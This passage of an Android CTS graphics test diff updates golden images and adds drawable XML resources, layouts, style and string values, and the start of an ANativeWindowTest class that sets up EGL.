--- a/tests/tests/graphics/res/drawable-nodpi/vector_icon_repeated_cq_golden.png
+++ b/tests/tests/graphics/res/drawable-nodpi/vector_icon_repeated_cq_golden.png
Binary files differ
diff --git a/tests/tests/graphics/res/drawable-nodpi/vector_icon_repeated_st_golden.png b/tests/tests/graphics/res/drawable-nodpi/vector_icon_repeated_st_golden.png
index 93fb1d0..8882a7a 100644
--- a/tests/tests/graphics/res/drawable-nodpi/vector_icon_repeated_st_golden.png
+++ b/tests/tests/graphics/res/drawable-nodpi/vector_icon_repeated_st_golden.png
Binary files differ
diff --git a/tests/tests/graphics/res/drawable-nodpi/vector_icon_scale_1_golden.png b/tests/tests/graphics/res/drawable-nodpi/vector_icon_scale_1_golden.png
index 899a235..143ce3e 100644
--- a/tests/tests/graphics/res/drawable-nodpi/vector_icon_scale_1_golden.png
+++ b/tests/tests/graphics/res/drawable-nodpi/vector_icon_scale_1_golden.png
Binary files differ
diff --git a/tests/tests/graphics/res/drawable-nodpi/vector_icon_scale_2_golden.png b/tests/tests/graphics/res/drawable-nodpi/vector_icon_scale_2_golden.png
index ba6d8c7..9a5efd2 100644
--- a/tests/tests/graphics/res/drawable-nodpi/vector_icon_scale_2_golden.png
+++ b/tests/tests/graphics/res/drawable-nodpi/vector_icon_scale_2_golden.png
Binary files differ
diff --git a/tests/tests/graphics/res/drawable-nodpi/vector_icon_scale_3_golden.png b/tests/tests/graphics/res/drawable-nodpi/vector_icon_scale_3_golden.png
new file mode 100644
index 0000000..2edc3c7
--- /dev/null
+++ b/tests/tests/graphics/res/drawable-nodpi/vector_icon_scale_3_golden.png
Binary files differ
diff --git a/tests/tests/graphics/res/drawable-nodpi/vector_icon_state_list_2_golden_pressed.png b/tests/tests/graphics/res/drawable-nodpi/vector_icon_state_list_2_pressed_golden.png
similarity index 100%
rename from tests/tests/graphics/res/drawable-nodpi/vector_icon_state_list_2_golden_pressed.png
rename to tests/tests/graphics/res/drawable-nodpi/vector_icon_state_list_2_pressed_golden.png
Binary files differ
diff --git a/tests/tests/graphics/res/drawable-nodpi/vector_icon_state_list_golden_pressed.png b/tests/tests/graphics/res/drawable-nodpi/vector_icon_state_list_golden_pressed.png
deleted file mode 100644
index c5d06f6..0000000
--- a/tests/tests/graphics/res/drawable-nodpi/vector_icon_state_list_golden_pressed.png
+++ /dev/null
Binary files differ
diff --git a/tests/tests/graphics/res/drawable-nodpi/vector_icon_state_list_2_golden_pressed.png b/tests/tests/graphics/res/drawable-nodpi/vector_icon_state_list_pressed_golden.png
similarity index 100%
copy from tests/tests/graphics/res/drawable-nodpi/vector_icon_state_list_2_golden_pressed.png
copy to tests/tests/graphics/res/drawable-nodpi/vector_icon_state_list_pressed_golden.png
Binary files differ
diff --git a/tests/tests/graphics/res/drawable-nodpi/vector_icon_stroke_1_golden.png b/tests/tests/graphics/res/drawable-nodpi/vector_icon_stroke_1_golden.png
index c57ad20..2bf7882 100644
--- a/tests/tests/graphics/res/drawable-nodpi/vector_icon_stroke_1_golden.png
+++ b/tests/tests/graphics/res/drawable-nodpi/vector_icon_stroke_1_golden.png
Binary files differ
diff --git a/tests/tests/graphics/res/drawable-nodpi/vector_icon_transformation_1_golden.png b/tests/tests/graphics/res/drawable-nodpi/vector_icon_transformation_1_golden.png
index 1703878..0717399 100644
--- a/tests/tests/graphics/res/drawable-nodpi/vector_icon_transformation_1_golden.png
+++ b/tests/tests/graphics/res/drawable-nodpi/vector_icon_transformation_1_golden.png
Binary files differ
diff --git a/tests/tests/graphics/res/drawable-nodpi/vector_icon_transformation_2_golden.png b/tests/tests/graphics/res/drawable-nodpi/vector_icon_transformation_2_golden.png
index 5308c7b..505aa2e 100644
--- a/tests/tests/graphics/res/drawable-nodpi/vector_icon_transformation_2_golden.png
+++ b/tests/tests/graphics/res/drawable-nodpi/vector_icon_transformation_2_golden.png
Binary files differ
diff --git a/tests/tests/graphics/res/drawable-nodpi/vector_icon_transformation_3_golden.png b/tests/tests/graphics/res/drawable-nodpi/vector_icon_transformation_3_golden.png
index e507b53..9b53e94 100644
--- a/tests/tests/graphics/res/drawable-nodpi/vector_icon_transformation_3_golden.png
+++ b/tests/tests/graphics/res/drawable-nodpi/vector_icon_transformation_3_golden.png
Binary files differ
diff --git a/tests/tests/graphics/res/drawable/adaptive_icon_drawable.xml b/tests/tests/graphics/res/drawable/adaptive_icon_drawable.xml
new file mode 100644
index 0000000..cde4bcb
--- /dev/null
+++ b/tests/tests/graphics/res/drawable/adaptive_icon_drawable.xml
@@ -0,0 +1,21 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<adaptive-icon xmlns:android="http://schemas.android.com/apk/res/android">
+    <background android:drawable="@drawable/testimage"/>
+    <foreground android:drawable="@drawable/start"/>
+</adaptive-icon>
diff --git a/tests/tests/graphics/res/drawable/animated_state_list_with_avd.xml b/tests/tests/graphics/res/drawable/animated_state_list_with_avd.xml
new file mode 100644
index 0000000..7a2d3c2
--- /dev/null
+++ b/tests/tests/graphics/res/drawable/animated_state_list_with_avd.xml
@@ -0,0 +1,54 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<animated-selector xmlns:android="http://schemas.android.com/apk/res/android">
+    <item
+            android:state_focused="true"
+            android:id="@+id/focused"
+            android:drawable="@drawable/red" />
+    <item
+            android:state_checked="false"
+            android:id="@+id/unchecked"
+            android:drawable="@drawable/black" />
+    <transition
+            android:fromId="@+id/unchecked"
+            android:toId="@+id/focused">
+        <!--empty avd -->
+        <animated-vector
+            android:drawable="@drawable/vector_drawable_grouping_1" >
+        </animated-vector>
+    </transition>
+    <transition
+            android:fromId="@+id/focused"
+            android:toId="@+id/unchecked">
+        <animated-vector
+                android:drawable="@drawable/vector_drawable_grouping_1" >
+            <target
+                    android:name="sun"
+                    android:animation="@anim/animation_grouping_1_01" />
+            <target
+                    android:name="earth"
+                    android:animation="@anim/animation_grouping_1_01" />
+        </animated-vector>
+    </transition>
+    <item
+            android:state_checked="true"
+            android:drawable="@drawable/blue" />
+    <item
+            android:state_activated="true"
+            android:drawable="@drawable/yellow" />
+</animated-selector>
\ No newline at end of file
diff --git a/tests/tests/graphics/res/drawable/animated_vector_favorite.xml b/tests/tests/graphics/res/drawable/animated_vector_favorite.xml
new file mode 100644
index 0000000..f831b7e
--- /dev/null
+++ b/tests/tests/graphics/res/drawable/animated_vector_favorite.xml
@@ -0,0 +1,96 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright (C) 2016 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<animated-vector xmlns:aapt="http://schemas.android.com/aapt"
+                 xmlns:android="http://schemas.android.com/apk/res/android">
+    <aapt:attr name="android:drawable">
+        <vector xmlns:android="http://schemas.android.com/apk/res/android"
+                android:height="128dp"
+                android:width="128dp"
+                android:viewportHeight="480"
+                android:viewportWidth="480" >
+
+            <group
+                    android:name="root"
+                    android:translateX="240.0"
+                    android:translateY="240.0" >
+                <path
+                        android:name="favorite"
+                        android:fillColor="#ff000000"
+                        android:strokeWidth="2"
+                        android:pathData="M2.100006104,-6
+                C0.1449127197,-6,1.600006104,-5.975006104,0,-5.975006104
+                C-1.574996948,-5.975006104,0.00309753418,-6-1.949996948-6
+                C-4.492996216,-6,-5.949996948,-3.718399048,-5.949996948,-1.149993896
+                C-5.949996948,2.379302979,-5.699996948,5.100006104,0,5.100006104
+                C5.699996948,5.100006104,6,2.379302979,6,-1.149993896
+                C6,-3.718399048,4.643005371-6,2.100006104-6" />
+            </group>
+
+        </vector>
+    </aapt:attr>
+
+    <target android:name="favorite">
+        <aapt:attr name="android:animation">
+            <set>
+                <objectAnimator
+                        android:duration="3000"
+                        android:propertyName="pathData"
+                        android:valueFrom="@string/round_box"
+                        android:valueTo="@string/heart"
+                        android:valueType="pathType" />
+                <objectAnimator
+                        android:duration="3000"
+                        android:propertyName="fillAlpha"
+                        android:valueFrom="1.0"
+                        android:valueTo="0.5" />
+                <objectAnimator
+                        android:duration="3000"
+                        android:propertyName="strokeAlpha"
+                        android:valueFrom="1.0"
+                        android:valueTo="0.1" />
+                <objectAnimator
+                        android:duration="3000"
+                        android:propertyName="strokeColor"
+                        android:valueFrom="#FF0000FF"
+                        android:valueTo="#FFFFFF00" />
+                <objectAnimator
+                        android:duration="3000"
+                        android:propertyName="fillColor"
+                        android:valueFrom="#FFFF00FF"
+                        android:valueTo="#FF00FF00" />
+            </set>
+        </aapt:attr>
+    </target>
+
+    <target android:name="root">
+        <aapt:attr name="android:animation">
+            <set>
+                <objectAnimator
+                        android:duration="3000"
+                        android:propertyName="scaleX"
+                        android:valueFrom="5"
+                        android:valueTo="20" />
+                <objectAnimator
+                        android:duration="3000"
+                        android:propertyName="scaleY"
+                        android:valueFrom="5"
+                        android:valueTo="20" />
+            </set>
+        </aapt:attr>
+    </target>
+
+</animated-vector>
\ No newline at end of file
diff --git a/tests/tests/graphics/res/drawable/avd_empty_animator.xml b/tests/tests/graphics/res/drawable/avd_empty_animator.xml
new file mode 100644
index 0000000..cf6dd9a
--- /dev/null
+++ b/tests/tests/graphics/res/drawable/avd_empty_animator.xml
@@ -0,0 +1,44 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2016 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<animated-vector xmlns:aapt="http://schemas.android.com/aapt"
+                 xmlns:android="http://schemas.android.com/apk/res/android">
+    <aapt:attr name="android:drawable">
+        <vector
+                android:width="32dp"
+                android:viewportWidth="32"
+                android:height="32dp"
+                android:viewportHeight="32">
+            <group
+                    android:name="btn_radio_to_off_mtrl_0"
+                    android:translateX="16"
+                    android:translateY="16">
+                <group
+                        android:name="ring_outer">
+                    <path
+                            android:name="ring_outer_path"
+                            android:fillColor="#FF000000"
+                            android:pathData="M 0.0,-9.0 c 4.9705627482,0.0 9.0,4.0294372518 9.0,9.0 c 0.0,4.9705627482 -4.0294372518,9.0 -9.0,9.0 c -4.9705627482,0.0 -9.0,-4.0294372518 -9.0,-9.0 c 0.0,-4.9705627482 4.0294372518,-9.0 9.0,-9.0 Z"/>
+                </group>
+            </group>
+        </vector>
+    </aapt:attr>
+    <target android:name="ring_outer_path">
+        <aapt:attr name="android:animation">
+            <!-- Empty animator set -->
+            <set/>
+        </aapt:attr>
+    </target>
+</animated-vector>
diff --git a/tests/tests/graphics/res/drawable/infinite_avd.xml b/tests/tests/graphics/res/drawable/infinite_avd.xml
new file mode 100644
index 0000000..c1d5265
--- /dev/null
+++ b/tests/tests/graphics/res/drawable/infinite_avd.xml
@@ -0,0 +1,56 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright (C) 2016 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<animated-vector xmlns:aapt="http://schemas.android.com/aapt"
+                 xmlns:android="http://schemas.android.com/apk/res/android">
+    <aapt:attr name="android:drawable">
+        <vector xmlns:android="http://schemas.android.com/apk/res/android"
+                android:height="128dp"
+                android:width="128dp"
+                android:viewportHeight="480"
+                android:viewportWidth="480" >
+
+            <group
+                    android:translateX="240.0"
+                    android:translateY="240.0" >
+                <path
+                        android:name="favorite"
+                        android:fillColor="#ff000000"
+                        android:strokeWidth="2"
+                        android:pathData="M2.100006104,-6
+                C0.1449127197,-6,1.600006104,-5.975006104,0,-5.975006104
+                C-1.574996948,-5.975006104,0.00309753418,-6-1.949996948-6
+                C-4.492996216,-6,-5.949996948,-3.718399048,-5.949996948,-1.149993896
+                C-5.949996948,2.379302979,-5.699996948,5.100006104,0,5.100006104
+                C5.699996948,5.100006104,6,2.379302979,6,-1.149993896
+                C6,-3.718399048,4.643005371-6,2.100006104-6" />
+            </group>
+
+        </vector>
+    </aapt:attr>
+    <target android:name="favorite">
+        <aapt:attr name="android:animation">
+            <set>
+                <objectAnimator
+                        android:duration="400"
+                        android:repeatCount="-1"
+                        android:propertyName="fillColor"
+                        android:valueFrom="#FF000000"
+                        android:valueTo="#FFFFFFFF" />
+            </set>
+        </aapt:attr>
+    </target>
+</animated-vector>
\ No newline at end of file
diff --git a/tests/tests/graphics/res/drawable/inset_color_fraction.xml b/tests/tests/graphics/res/drawable/inset_color_fraction.xml
new file mode 100644
index 0000000..6723b2e
--- /dev/null
+++ b/tests/tests/graphics/res/drawable/inset_color_fraction.xml
@@ -0,0 +1,20 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<inset xmlns:android="http://schemas.android.com/apk/res/android"
+       android:drawable="@android:color/white"
+       android:inset="10%" />
\ No newline at end of file
diff --git a/tests/tests/graphics/res/drawable/layerdrawable_theme.xml b/tests/tests/graphics/res/drawable/layerdrawable_theme.xml
index fac42b2..2a678ff 100644
--- a/tests/tests/graphics/res/drawable/layerdrawable_theme.xml
+++ b/tests/tests/graphics/res/drawable/layerdrawable_theme.xml
@@ -25,6 +25,5 @@
             android:dither="?attr/themeBoolean"
             android:src="?attr/themeNinePatch" />
     </item>
-    <item android:drawable="?attr/themeDrawable" />
 
-</layer-list>
+</layer-list>
\ No newline at end of file
diff --git a/tests/tests/graphics/res/drawable/vector_icon_group_clip.xml b/tests/tests/graphics/res/drawable/vector_icon_group_clip.xml
new file mode 100644
index 0000000..9574d7e
--- /dev/null
+++ b/tests/tests/graphics/res/drawable/vector_icon_group_clip.xml
@@ -0,0 +1,50 @@
+<!--
+ Copyright (C) 2016 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<vector xmlns:android="http://schemas.android.com/apk/res/android"
+        android:height="48dp"
+        android:width="48dp"
+        android:viewportHeight="48"
+        android:viewportWidth="48">
+
+    <group>
+        <clip-path
+                android:name="clip1"
+                android:pathData="M 0, 0 l 48, 0 l 0, 30 l -48, 0 z"/>
+
+        <group>
+            <clip-path
+                    android:name="clip2"
+                    android:pathData="M 0, 18 l 48, 0 l 0, 30 l -48, 0 z"/>
+
+            <path
+                    android:name="plus1"
+                    android:pathData="M20 16h-4v8h-8v4h8v8h4v-8h8v-4h-8zm9-3.84v3.64l5-1v21.2h4v-26z"
+                    android:fillColor="#ff00ff00"/>
+        </group>
+
+
+        <group android:name="backgroundGroup" >
+            <path
+                    android:name="background1"
+                    android:fillColor="#80000000"
+                    android:pathData="M 0,0 l 24,0 l 0,24 l -24, 0 z" />
+            <path
+                    android:name="background2"
+                    android:fillColor="#80000000"
+                    android:pathData="M 24,24 l 24,0 l 0, 24 l -24, 0 z" />
+        </group>
+    </group>
+</vector>
diff --git a/tests/tests/graphics/res/drawable/vector_icon_scale_3.xml b/tests/tests/graphics/res/drawable/vector_icon_scale_3.xml
new file mode 100644
index 0000000..74fa475
--- /dev/null
+++ b/tests/tests/graphics/res/drawable/vector_icon_scale_3.xml
@@ -0,0 +1,45 @@
+<!--
+  ~ Copyright (C) 2017 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License
+  -->
+<vector xmlns:android="http://schemas.android.com/apk/res/android"
+    android:height="64dp"
+    android:viewportHeight="200"
+    android:viewportWidth="200"
+    android:width="64dp" >
+
+    <group>
+        <path
+            android:name="background1"
+            android:fillColor="#FF000000"
+            android:pathData="M 0,0 l 100,0 l 0, 100 l -100, 0 z" />
+        <path
+            android:name="background2"
+            android:fillColor="#FF000000"
+            android:pathData="M 100,100 l 100,0 l 0, 100 l -100, 0 z" />
+    </group>
+    <group
+        android:scaleX="200"
+        android:scaleY="200" >
+        <group>
+            <path
+                android:name="twoLines"
+                android:fillColor="#FFFF0000"
+                android:pathData="M 0.75, 0.25 l 0, 0.5, -0.5, 0 z"
+                android:strokeColor="#FF00FF00"
+                android:strokeWidth="0.05" />
+        </group>
+    </group>
+
+</vector>
\ No newline at end of file
diff --git a/tests/tests/graphics/res/drawable/vector_icon_size_1.xml b/tests/tests/graphics/res/drawable/vector_icon_size_1.xml
new file mode 100644
index 0000000..1c57e30
--- /dev/null
+++ b/tests/tests/graphics/res/drawable/vector_icon_size_1.xml
@@ -0,0 +1,24 @@
+<!--
+ Copyright (C) 2017 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<vector xmlns:android="http://schemas.android.com/apk/res/android"
+        android:width="7dp"
+        android:height="7dp"
+        android:viewportWidth="20.0"
+        android:viewportHeight="50.0">
+    <path
+        android:pathData="M14.285706,47.362198A50.71429,62.14286 0,0 0,1.0630035 5.5146027"
+        android:fillColor="#ff55ff"/>
+</vector>
\ No newline at end of file
diff --git a/tests/tests/graphics/res/drawable/vector_icon_size_2.xml b/tests/tests/graphics/res/drawable/vector_icon_size_2.xml
new file mode 100644
index 0000000..1069e5c
--- /dev/null
+++ b/tests/tests/graphics/res/drawable/vector_icon_size_2.xml
@@ -0,0 +1,24 @@
+<!--
+ Copyright (C) 2017 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<vector xmlns:android="http://schemas.android.com/apk/res/android"
+        android:width="9dp"
+        android:height="9dp"
+        android:viewportWidth="20.0"
+        android:viewportHeight="50.0">
+    <path
+        android:pathData="M14.285706,47.362198A50.71429,62.14286 0,0 0,1.0630035 5.5146027"
+        android:fillColor="#ff55ff"/>
+</vector>
\ No newline at end of file
diff --git a/tests/tests/graphics/res/layout/fixed_sized_imageview.xml b/tests/tests/graphics/res/layout/fixed_sized_imageview.xml
new file mode 100644
index 0000000..ec1bb71
--- /dev/null
+++ b/tests/tests/graphics/res/layout/fixed_sized_imageview.xml
@@ -0,0 +1,29 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+-->
+<FrameLayout xmlns:android="http://schemas.android.com/apk/res/android"
+             android:layout_width="match_parent"
+             android:layout_height="match_parent">
+
+    <ImageView
+            android:id="@+id/imageview"
+            android:layout_width="@dimen/imageview_fixed_size"
+            android:layout_height="@dimen/imageview_fixed_size"
+            android:layerType="hardware"
+            android:src="@drawable/animated_vector_favorite" />
+</FrameLayout>
\ No newline at end of file
diff --git a/tests/tests/graphics/res/layout/vector_drawable_scale_layout.xml b/tests/tests/graphics/res/layout/vector_drawable_scale_layout.xml
new file mode 100644
index 0000000..2cf30a2
--- /dev/null
+++ b/tests/tests/graphics/res/layout/vector_drawable_scale_layout.xml
@@ -0,0 +1,36 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+-->
+
+<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
+    android:orientation="vertical"
+    android:layout_width="match_parent"
+    android:layout_height="match_parent"
+    android:id="@+id/scaletest">
+
+    <ImageView
+        android:id="@+id/imageview1"
+        android:layout_width="64px"
+        android:layout_height="64px"/>
+
+    <ImageView
+            android:id="@+id/imageview2"
+            android:layout_width="4px"
+            android:layout_height="4px"/>
+</LinearLayout>
+
diff --git a/tests/tests/graphics/res/raw-nodpi/p3_opaque.png b/tests/tests/graphics/res/raw-nodpi/p3_opaque.png
new file mode 100644
index 0000000..9fe49b8
--- /dev/null
+++ b/tests/tests/graphics/res/raw-nodpi/p3_opaque.png
Binary files differ
diff --git a/tests/tests/graphics/res/raw-nodpi/p3_transparent.png b/tests/tests/graphics/res/raw-nodpi/p3_transparent.png
new file mode 100644
index 0000000..254d075
--- /dev/null
+++ b/tests/tests/graphics/res/raw-nodpi/p3_transparent.png
Binary files differ
diff --git a/tests/tests/graphics/res/values/dimens.xml b/tests/tests/graphics/res/values/dimens.xml
index bae216f..46b5a37 100755
--- a/tests/tests/graphics/res/values/dimens.xml
+++ b/tests/tests/graphics/res/values/dimens.xml
@@ -39,5 +39,9 @@
     <item name="frac25610pperc" type="dimen" format="fraction">25610%p</item>
     <item name="frac6553510pperc" type="dimen" format="fraction">6553510%p</item>
     <item name="frac6553610pperc" type="dimen" format="fraction">6553610%p</item>
+
+    <!-- Size of the image view in AVD test. Choosing a size of 90px to make sure it also works on
+    watches. -->
+    <dimen name="imageview_fixed_size">90px</dimen>
 </resources>
 
diff --git a/tests/tests/graphics/res/values/strings.xml b/tests/tests/graphics/res/values/strings.xml
index 8208b19..e599d8a 100644
--- a/tests/tests/graphics/res/values/strings.xml
+++ b/tests/tests/graphics/res/values/strings.xml
@@ -177,4 +177,8 @@
 I think so, so how about double this string, like copy and paste! </string>
     <string name="rectangle200">"M 0,0 l 200,0 l 0, 200 l -200, 0 z"</string>
     <string name="twoLinePathData">"M 0,0 v 100 M 0,0 h 100"</string>
+    <string name="round_box">"m2.10001,-6c-1.9551,0 -0.5,0.02499 -2.10001,0.02499c-1.575,0 0.0031,-0.02499 -1.95,-0.02499c-2.543,0 -4,2.2816 -4,4.85001c0,3.52929 0.25,6.25 5.95,6.25c5.7,0 6,-2.72071 6,-6.25c0,-2.56841 -1.35699,-4.85001 -3.89999,-4.85001"</string>
+    <string name="heart">"m4.5,-7c-1.95509,0 -3.83009,1.26759 -4.5,3c-0.66991,-1.73241 -2.54691,-3 -4.5,-3c-2.543,0 -4.5,1.93159 -4.5,4.5c0,3.5293 3.793,6.2578 9,11.5c5.207,-5.2422 9,-7.9707 9,-11.5c0,-2.56841 -1.957,-4.5 -4.5,-4.5"</string>
+    <string name="last_screenshot">last_screenshot</string>
+    <string name="current_screenshot">current_screenshot</string>
 </resources>
diff --git a/tests/tests/graphics/res/values/styles.xml b/tests/tests/graphics/res/values/styles.xml
index 31ed175..6991be6 100644
--- a/tests/tests/graphics/res/values/styles.xml
+++ b/tests/tests/graphics/res/values/styles.xml
@@ -166,6 +166,17 @@
         <item name="themeType">0</item>
     </style>
 
+    <style name="WhiteBackgroundNoWindowAnimation"
+           parent="@android:style/Theme.Holo.NoActionBar.Fullscreen">
+        <item name="android:windowNoTitle">true</item>
+        <item name="android:windowFullscreen">true</item>
+        <item name="android:windowOverscan">true</item>
+        <item name="android:fadingEdge">none</item>
+        <item name="android:windowBackground">@android:color/white</item>
+        <item name="android:windowContentTransitions">false</item>
+        <item name="android:windowAnimationStyle">@null</item>
+    </style>
+
     <style name="Theme_NoSwipeDismiss">
         <item name="android:windowSwipeToDismiss">false</item>
     </style>
diff --git a/tests/tests/graphics/src/android/graphics/cts/ANativeWindowTest.java b/tests/tests/graphics/src/android/graphics/cts/ANativeWindowTest.java
new file mode 100644
index 0000000..e67b5a4
--- /dev/null
+++ b/tests/tests/graphics/src/android/graphics/cts/ANativeWindowTest.java
@@ -0,0 +1,223 @@
+/*
+ * Copyright 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.graphics.cts;
+
+import static org.junit.Assert.assertEquals;
+import static android.opengl.EGL14.*;
+
+import android.graphics.SurfaceTexture;
+import android.opengl.EGL14;
+import android.opengl.EGLConfig;
+import android.opengl.EGLContext;
+import android.opengl.EGLDisplay;
+import android.opengl.EGLSurface;
+import android.opengl.GLES20;
+import android.support.test.filters.SmallTest;
+import android.view.Surface;
+import android.util.Log;
+
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.BlockJUnit4ClassRunner;
+
+
+@SmallTest
+@RunWith(BlockJUnit4ClassRunner.class)
+public class ANativeWindowTest {
+
+    static {
+        System.loadLibrary("ctsgraphics_jni");
+    }
+
+    private static final String TAG = ANativeWindowTest.class.getSimpleName();
+    private static final boolean DEBUG = false;
+
+    private EGLDisplay mEglDisplay = EGL_NO_DISPLAY;
+    private EGLConfig mEglConfig = null;
+    private EGLSurface mEglPbuffer = EGL_NO_SURFACE;
+    private EGLContext mEglContext = EGL_NO_CONTEXT;
+
+    @Before
+    public void setup() throws Throwable {
+        mEglDisplay = EGL14.eglGetDisplay(EGL_DEFAULT_DISPLAY);
+        if (mEglDisplay == EGL_NO_DISPLAY) {
+            throw new RuntimeException("no EGL display");
+        }
+        int[] major = new int[1];
+        int[] minor = new int[1];
+        if (!EGL14.eglInitialize(mEglDisplay, major, 0, minor, 0)) {
+            throw new RuntimeException("error in eglInitialize");
+        }
+
+        // If we could rely on having EGL_KHR_surfaceless_context and EGL_KHR_context_no_config, we
+        // wouldn't have to create a config or pbuffer at all.
+
+        int[] numConfigs = new int[1];
+        EGLConfig[] configs = new EGLConfig[1];
+        if (!EGL14.eglChooseConfig(mEglDisplay,
+                new int[] {
+                    EGL_RENDERABLE_TYPE, EGL_OPENGL_ES2_BIT,
+                    EGL_SURFACE_TYPE, EGL_PBUFFER_BIT,
+                    EGL_NONE},
